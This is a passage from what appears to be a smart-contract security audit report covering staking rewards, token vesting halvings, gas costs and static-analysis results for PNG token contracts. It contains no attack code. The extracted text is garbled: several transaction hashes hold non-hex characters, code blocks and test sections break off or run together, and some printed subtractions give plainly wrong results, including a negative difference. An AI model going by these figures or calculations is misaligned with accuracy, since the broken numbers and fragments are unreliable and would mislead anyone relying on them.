33 output.redd("rewardercomplex.pendingToken(0, user1.address) -> " +
    str(rewardercomplex.pendingToken(0, user1.address)))
34 output.redd("rewardercomplex.pendingToken(1, user2.address) -> " +
    str(rewardercomplex.pendingToken(1, user2.address)))
35
36 output.yelloww("Mining 100 blocks...")
37 chain.mine(100)
38 output.success("100 blocks mined")
39
40 output.redd("rewardercomplex.pendingToken(0, user1.address) -> " +
    str(rewardercomplex.pendingToken(0, user1.address)))
41 output.redd("rewardercomplex.pendingToken(1, user2.address) -> " +
    str(rewardercomplex.pendingToken(1, user2.address)))

```

### 1st test

- WEIGHT1 = 100
- WEIGHT2 = 100
- AMOUNT1 = 1000
- AMOUNT2 = 1000

rewardercomplex.pendingToken(0, user1.address) -> 300  
 rewardercomplex.pendingToken(1, user2.address) -> 150  
**Mining 100 blocks...**  
 [✓] 100 blocks mined  
 rewardercomplex.pendingToken(0, user1.address) -> 5300  
 rewardercomplex.pendingToken(1, user2.address) -> 5150

### 2nd test

- WEIGHT1 = 100
- WEIGHT2 = 50
- AMOUNT1 = 1000
- AMOUNT2 = 1000

rewardercomplex.pendingToken(0, user1.address) -> 400  
 rewardercomplex.pendingToken(1, user2.address) -> 100  
**Mining 100 blocks...**  
 [✓] 100 blocks mined  
 rewardercomplex.pendingToken(0, user1.address) -> 7066  
 rewardercomplex.pendingToken(1, user2.address) -> 3433

```
3rd test
- WEIGHT1 = 100
- WEIGHT2 = 100
- AMOUNT1 = 1000
- AMOUNT2 = 10
rewardercomplex.pendingToken(0, user1.address) -> 300
rewardercomplex.pendingToken(1, user2.address) -> 150
Mining 100 blocks...
[✓] 100 blocks mined
rewardercomplex.pendingToken(0, user1.address) -> 5300
rewardercomplex.pendingToken(1, user2.address) -> 5150
```

Rewards are allocated based on both pool weights and the % of staked tokens in each reward pool. As both users here got the 100% of the tokens in their respective pools, and the pools have the same weights, they receive the same amounts as intended.

## 4.11 STAKINGREWARDS CONTRACT

The contract `StakingRewards` is based on this `Synthetixio contract` with some differences:

1. `StakingRewards` is `Ownable`.
2. `rewardsDuration` is set to 1 day instead of 7.
3. Implements a new function called `stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s)`

`StakingRewards` implements the following getter functions:

- `totalSupply()`
- `balanceOf(address account)`
- `lastTimeRewardApplicable()`
- `rewardPerToken()`
- `earned(address account)`
- `getRewardForDuration()`

And the following external/public functions:

- `stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s)`
- `stake(uint256 amount)`
- `withdraw(uint256 amount)`
- `getReward()`
- `exit()`
- `notifyRewardAmount(uint256 reward) (onlyOwner)`
- `recoverERC20(address tokenAddress, uint256 tokenAmount) (onlyOwner)`
- `setRewardsDuration(uint256 _rewardsDuration) (onlyOwner)`

All the external functions that perform a `transfer` are protected with the `nonReentrant` modifier following the check-effects-interactions pattern.

All the view functions are working as expected.

```
_totalSupply and _balance are updated every time someone calls stake or
withdraw function:
>>> stakingRewards.totalSupply()
1000000000000000000000000000000
>>> lpToken.transfer(user2.address, 12345)

<Transaction '0x6dc63a3b9fd8e6cdaef5dff2b243bc64455adf11955e2014cafee8b382777'>
>>> stakingRewards.totalSupply()
1000000000000000000000000000000
```

It is not possible to withdraw an amount higher than the balance as, thanks to SafeMath, the operation would revert in the line #100:  
`_balances[msg.sender] = _balances[msg.sender].sub(amount);`

The function `lastTimeRewardApplicable` will return the minimum value between the current `block.timestamp` and the `periodFinish` variable:

```
>>> stakingRewards.lastTimeRewardApplicable()
163966044
>>> chain.time()
163966053
```

The functions `rewardPerToken` and `earned` were also tested, see [TEST 1](#).

Finally, in the calculation of the rewards we have detected some imprecision. In this case the staker will receive 6400 reward tokens less than what he actually deserved:

```
>>> vestAmount = 1000000000000000000000000000000
>>> png.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x0c9778a9e000fd6599267302532110f7aebc93a15bf2e839b3038dc2723e45a

1574074074074074074074074074074074
[+2]
```

This has been flagged in the vulnerability - [IMPRECISION IN REWARD DISTRIBUTION](#) as a low impact as the imprecision is very low compared to the total reward amount.

## TEST 1: CALLING GETREWARD FUNCTION MULTIPLE TIMES

In this test, we tried to call `getReward` multiple times and see if the total amount of PNG reward tokens received were the same than if we just had waited for the reward period (86400 seconds/1 day) to be completed and called the `getReward` function once:

```
>>> vestamount = 100000000000000000000000000000000 # 1000 x +10

## TEST 2: REWARDS WITH MULTIPLE ACCOUNTS

We performed this test to check if the rewards were being assigned correctly to multiple stakers. In this case staker1 had staked 10000000000000000000 tokens and staker2 2000000000000000000, which means that staker2 should be receiving x2 the amount of PNG reward tokens than staker1:

```
>>> stakeAmount = 10000000000000000000 # 100 x e18
allowAmount = 10000000000000000000 # 100 x e18

png.balanceOf(user2.address) -> 66666666666666662000

```

In this case we replicated the previous test but, the staker1 calling

getReward function multiple times and staker2 calling it once the reward period was completed. As we can see in the image above the output was the same.

#### TEST 4: SETREWARDSDURATION

In this test, we tried a common scenario that may happen which is calling `setRewardsDuration` once `periodFinish` is over and before a user has called the `getReward` function:

```
>>> stakeAmount = 100000000000000000000000000000000
>>> allowAmount = 100000000000000000000000000000000

```

The initial reward of the users remain stored and then, once the owner of the contract calls `notifyRewardAmount`, the new rewards are added on top of the unclaimed ones, as expected.

#### GAS RECOMMENDATION

As `updateReward(address account)` modifier is present in 5 different functions we suggest to make it an internal function. The reason is that using the modifier that code will be inserted for each function it is included in. If it is used 5 times, as in this case, the same code

will be written 5 times into the deploy code. On the other hand, as an internal function the code will only be added once into the deploy code.

In the picture below we can appreciate the gas reduction in 1556941 -  $1487370 = 69571$  GWEI:

```
>>> stakingRewards = owner.deploy(StakingRewards, png.address, lpToken.address)

```

## 4.12 TIMELOCK CONTRACT

The [Timelock](#) contract is the standard [Compound Finance Timelock](#) contract.

## 4.13 TREASURYVESTER CONTRACT

The `TreasuryVester` contract is used to manage the release of PNG tokens. The contract contains the following functions:

- `function startVesting() external onlyOwner:` Used to enable the distribution of PNG tokens.
- `function setRecipient(address recipient_) external onlyOwner:` Used to set the recipient of those tokens.
- `function claim() external nonReentrant returns (uint):` Used to claim the PNG tokens.

Our manual testing focused here in checking that the PNG token amounts being distributed in the different halving periods were correct. This is the Brownie script code we used:

**Listing 42**

```

1 png.transfer(treasuryVester.address, 51200000000000000000000000000000)
2
3 treasuryVester.setRecipient(user1.address)
4 treasuryVester.startVesting()
5
6 i = 0
7 while (i < 1460):
8     i = i + 1
9     chain.sleep(86400)
10    chain.mine(1)
11    treasuryVester.claim({'from': user1})

```

And as we can see below this is the balance of user1 after the first halving period:

```

gas price: 0.0 gwei  gas limit: 231975  nonce: 1457
TreasuryVester.claim confirmed  Block: 13399201  Gas used: 66797 (0.99%)
Transaction sent: 0x77ca93f5d94eaa30c90b170f790bc2eddc37f82b3ea8cd2fcc32b2b4409010f6
Gas price: 0.0 gwei  Gas limit: 6721975 Nonce: 1458
TreasuryVester.claim confirmed  Block: 13399203  Gas used: 66797 (0.99%)
Transaction sent: 0x2ac5c5820a08abb87205bcoffhb97e5aff4ed1446816dd4da7b273816c1431
Gas price: 0.0 gwei  Gas limit: 6721975 Nonce: 1459
TreasuryVester.claim confirmed  Block: 13399205  Gas used: 51797 (0.77%)
>>> output.redd("png.balanceOf(user1.address) after 4 years -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) after 4 years -> 25599999999999999999999999999999

```

The balance is 256M PNG tokens as expected. Then, after entering a new

halving period, we can see how the tokens received after 1 day were decreased from ~175K to ~87K:

```
>>> output.read("png.balanceOf(user1.address) after 4 years -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) after 4 years -> 25599999900000000000000000000000
>>> chain.sleep(30000)
>>> chain.mine()
13399205
>>> treasuryVester.claim({'from': user1})
Transaction sent: 0xcb622292c3cf9f04d243d88a52235626f0277c467364lldc53le3e9b9e073530
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1460
TreasuryVester.claim confirmed Block: 13399207 Gas used: 72455 (1.08%)
<Transaction '0xcb622292c3cf9f04d243d88a52235626f0277c467364lldc53le3e9b9e073530'>
>>> output.read("png.balanceOf(user1.address) after 4 years and 1 day -> " + str(png.balanceOf(user1.address)))
png.balanceOf(user1.address) after 4 years and 1 day -> 25608767013290000000000000000000
>>> 25608767013290000000000000000000 - 25599999900000000000000000000000
11329000000000000000000000000000
```

It is worth mentioning that in order for the halving period to be finished, `claim` function should be called 1460 times as the variable `nextSlash` is only decreased when calling this function. This means that, in the case that a user calls `claim` after 4 years, he will only receive ~175K tokens, instead of the 256M PNG tokens corresponding to the 4 years. And he will have to call every 24h that `claim` function for the next 1459 days to get to receive the 256M PNG tokens and step into the next halving period. The gas costs of calling this function 1460 times in the Ethereum main net is \$48k:

```
>>> treasuryVester.claim({'from': user1})
Transaction sent: 0xcb622292c3cf9f04d243d88a52235626f0277c467364lldc53le3e9b9e073530
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1460
TreasuryVester.claim confirmed Block: 13399207 Gas used: 72455 (1.08%)

>>> ETHPrice_09_October_2021 = 3608.36
>>> claimGasCost4years = 72455 * 1460
>>> claimGasCost4years
105784300
>>> AverageGasPrice_09_October_2021 = 126.37
>>> GasFee = 105784300 * 126.37
>>> GasFee
13367961991.0
>>> GasFeeETH = 13367961991.0 * 0.000000001
>>> GasFeeETH
13.367961991000001
>>> GasFeeETH * ETHPrice_09_October_2021
48236.419329844764
```

>>> tx2.returnValue
0x7e123250000000000000
>>> TreasuryVesterProxy.diversionAmount()
14600000000000000000000000000000
>>> 87671232500000000000000000000000 - 14600000000000000000000000000000
-513257675000000000000000

This is an expected behaviour as the tokens will be distributed in 4 years, not 28.

# AUTOMATED TESTING

## 5.1 STATIC ANALYSIS REPORT

### Description:

Halborn used automated testing techniques to enhance the coverage of certain areas of the scoped contracts. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified all the contracts in the repository and was able to compile them correctly into their abi and binary formats, Slither was run on the all-scoped contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

### Slither results:

## 5.2 AUTOMATED SECURITY SCAN

### Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

### MythX results:

#### Airdrop.sol

Report for contracts/Airdrop.sol https://dashboard.mythx.io/#/console/analyses/2c86db13-d097-480d-a0a7-d4aa22c53c62

- MythX correctly detected overflows/underflows in the contracts `LiquidityPoolManager.sol`, `LiquidityPoolManagerV2.sol` and `MiniChefV2.sol`. Although, most of the Integer Overflows and Underflows flagged by MythX are false positives as those contracts are using Solidity ^0.8.0 version. After the Solidity version 0.8.0 Arithmetic operations revert on underflow and overflow by default.
- `block.number` is used but not as a source of randomness.
- The assert violations are false positives.

THANK YOU FOR CHOOSING  
 HALBORN
